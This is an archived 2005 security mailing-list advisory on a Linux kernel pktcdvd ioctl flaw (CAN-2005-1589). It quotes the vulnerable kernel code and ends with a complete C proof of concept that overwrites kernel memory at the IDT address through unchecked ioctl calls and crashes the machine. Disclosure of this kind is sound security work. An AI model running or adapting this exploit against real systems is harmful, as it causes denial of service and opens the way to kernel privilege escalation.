[VulnWatch] Linux kernel pktcdvd ioctl break user space limit vulnerability [corrected]

From: bugs (bugs_at_whitecell.org)
Date: 05/18/05

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    To: bugtraq@securityfocus.com <bugtraq@securityfocus.com>, full-disclosure@lists.netsys.com <full-disclosure@lists.netsys.com>, linux-kernel@vger.kernel.org <linux-kernel@vger.kernel.org>, vulnwatch@vulnwatch.org <vulnwatch@vulnwatch.org>
    Date: Wed, 18 May 2005 10:7:40 +0800
    
    

    hi,all:
              sorry for insufficient coordination with vendor. :(

              I had corrected it and deleted rawdevice issue

    ------------------------------------------------------------------

    Synopsis: Linux kernel pktcdvd ioctl break user space limit vulnerability
    Product: Linux kernel
    Version: 2.6 up to and including 2.6.12-rc4
    Vendor: http://www.kernel.org/
    URL:
    CVE: CAN-2005-1589
    Severity: local(7)
    Date: May 16, 2005

    Issue:
    ======

    One locally exploitable flaw have been found in the Linux pktcdvd block
    device ioctl handler that allows local users to gain root privileges and
    also execute arbitrary code at kernel privilege level.

    Details:
    ========

    The Linux kernel contains pktcdvd block device components.
    Due to the missing check Pktcdvd ioctl handler parameter,
    the process can break user space limit and execute arbitrary code at
    kernel privilege level.

    Discussion:
    =============

    The vulnerable code resides in drivers/block/pktcdvd.c in your
    preferable version of the Linux kernel source code tree:

    static int pkt_ioctl(struct inode *inode, struct file *file, unsigned
                                            int cmd, unsigned long arg)
    {
            struct pktcdvd_device *pd = inode->i_bdev->bd_disk->private_data;

            VPRINTK("pkt_ioctl: cmd %x, dev %d:%d\n", cmd, imajor(inode),
                                                            iminor(inode));
            BUG_ON(!pd);

            switch (cmd) {
            /*
             * forward selected CDROM ioctls to CD-ROM, for UDF
             */
            case CDROMMULTISESSION:
            case CDROMREADTOCENTRY:
            case CDROM_LAST_WRITTEN:
            case CDROM_SEND_PACKET:
            case SCSI_IOCTL_SEND_COMMAND:
    [*] return ioctl_by_bdev(pd->bdev, cmd, arg);

            case CDROMEJECT:
                    /*
                     * The door gets locked when the device is opened, so we
                     * have to unlock it or else the eject command fails.
                     */
                    pkt_lock_door(pd, 0);
    [*] return ioctl_by_bdev(pd->bdev, cmd, arg);

            default:

    As can be seen from [*] the arg variable supplied to the ioctl_by_bdev()
    function is not checked and user can input arg > TASK_SIZE value.

    fs/block_dev.c
    int ioctl_by_bdev(struct block_device *bdev, unsigned cmd, unsigned long arg)
    {
            int res;
            mm_segment_t old_fs = get_fs();
    [**] set_fs(KERNEL_DS);
            res = blkdev_ioctl(bdev->bd_inode, NULL, cmd, arg);
            set_fs(old_fs);
            return res;
    }

    However, for also support kernel space parameters ,ioctl_by_bdev() call [**]
    set_fs(KERNEL_DS) to access parameters in kernel space . So if
    ioctl_by_bdev() parameter arg > TASK_SIZE,the process can break user space
    limit and rewrite kernel space data. Local user can execute arbitrary code
    at kernel privilege level.

    This exploit require user can read the block device.

    CREDIT:
    ========

    alert7 ( wangwei@ssr.cn , alert7@xfocus.org ) discovery this vulnerability
    Special thanks to ssr and xfocus guys:P

    DISCLAIMER:
    ========
    The information in this bulletin is provided "AS IS" without warranty of any
    kind. In no event shall we be liable for any damages whatsoever including direct,
    indirect, incidental, consequential, loss of business profits or special damages.

    ZHONGHANGJIAXIN INFORMATION TECHNOLOGY CO.,LTD (http://www.ssr.cn)
    Copyright 2003-2005 ZHONGHANGJIAXIN. All Rights Reserved. Terms of use.

    Security
    Trusted {Solution} Provider
    Service

    Appendix:
    =========

    /* pktcdvd_dos.c proof-of-concept
     * This is only a lame POC which will crash the machine, no root shell here.
     * --- alert7
     * 2005-5-15
     * the vulnerability in 2.6 up to and including 2.6.12-rc4
     *
     * gcc -o pktcdvd_dos pktcdvd_dos.c
     *
     * NOTE: require user can read pktcdvd block device

     * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
     * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
     * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
     */

    #define _GNU_SOURCE
    #include <stdio.h>
    #include <stdlib.h>
    #include <errno.h>
    #include <string.h>
    #include <unistd.h>
    #include <fcntl.h>
    #include <signal.h>
    #include <paths.h>
    #include <grp.h>
    #include <setjmp.h>
    #include <stdint.h>
    #include <sys/mman.h>
    #include <sys/ipc.h>
    #include <sys/shm.h>
    #include <sys/ucontext.h>
    #include <sys/wait.h>
    #include <asm/ldt.h>
    #include <asm/page.h>
    #include <asm/segment.h>
    #include <linux/unistd.h>
    #include <linux/linkage.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <linux/sysctl.h>
    #include <linux/cdrom.h>

    #define __NR_sys_ioctl __NR_ioctl

    #define PKTCDVDDEVICE "/dev/hdc"

    static inline _syscall3(int, sys_ioctl, int ,fd,int, cmd,unsigned long, arg);

    struct idtr {
            unsigned short limit;
            unsigned int base;
    } __attribute__ ((packed));

    unsigned int get_addr_idt() {
            struct idtr idtr;
            asm("sidt %0" : "=m" (idtr));
            return idtr.base;
    }
    struct desc_struct {
            unsigned long a,b;
    };
    int main(int argc,char **argv)
    {
            unsigned int ptr_idt;
            int iret ;
            int fd;

            printf("[++]user stack addr %p \n",&ptr_idt);
            if ( ( (unsigned long )&ptr_idt >>24)==0xfe){
                     printf("[--]this kernel patched 4g/4g patch,no vulnerability!\n");
                     return -1;
            }

            ptr_idt=get_addr_idt();
            printf("[++]IDT Addr %p \n",ptr_idt);

            fd = open(PKTCDVDDEVICE,O_RDONLY);
            if (fd ==-1)
            {
                            printf("[--]");
                fflush(stdout);
                            perror("open");
                return -1;
            }
                    
            unsigned long WriteTo ;

           if ( (ptr_idt>>24)==0xc0){
                printf("[++]this OS in Real Linux\n");
                            WriteTo= ptr_idt;
               }else{
                printf("[++]this OS maybe in VMWARE\n");
                            WriteTo = 0xc0100000;
            }

            printf("[++]call sys_ioctl will crash machine\n");
            fflush(stdout);
                    
            int loopi;
            for (loopi=0;loopi<0x100000 ;loopi++ )
            {
                    printf("[++]will write data at 0x%x\n",WriteTo+loopi*4);
                    fflush(stdout);
                    iret = sys_ioctl(fd,
                                     CDROM_LAST_WRITTEN,
                                     WriteTo+loopi*4);
                    if (iret ==-1)
                    {
                            printf("[--]");
                            fflush(stdout);
                            perror("ioctl");
                            //if in VMWARE ,rewrite ptr_idt adress will failed
                            printf("[--]still aliving\n");
                            close(fd);
                            return -1;
                    }
            }
            close(fd);

            return 0;
    }

    ---------------THE END---------------

    Thanks,
    alert7


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